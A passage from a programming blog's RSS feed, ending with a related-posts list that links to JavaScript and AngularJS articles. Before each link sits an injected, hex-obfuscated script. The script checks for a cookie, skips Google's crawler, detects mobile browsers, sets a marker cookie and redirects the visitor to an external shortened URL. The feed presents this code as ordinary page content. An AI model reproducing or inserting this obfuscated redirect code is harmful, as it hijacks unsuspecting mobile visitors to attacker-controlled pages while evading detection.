g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/12/02/javascript-variables-asynchronous-callback-functions/" rel="bookmark" title="JavaScript: variables in asynchronous callback functions">JavaScript: variables in asynchronous callback functions </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/11/07/javascript-asynchronous-abortable-long-running-tasks/" rel="bookmark" title="JavaScript: Asynchronous abortable long running tasks">JavaScript: Asynchronous abortable long running tasks </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/06/06/angularjs-requirejs-dynamic-loading-and-pluggable-views/" rel="bookmark" title="AngularJS: RequireJS, dynamic loading and pluggable views">AngularJS: RequireJS, dynamic loading and pluggable views </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2016/06/13/when-to-use-timeout/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
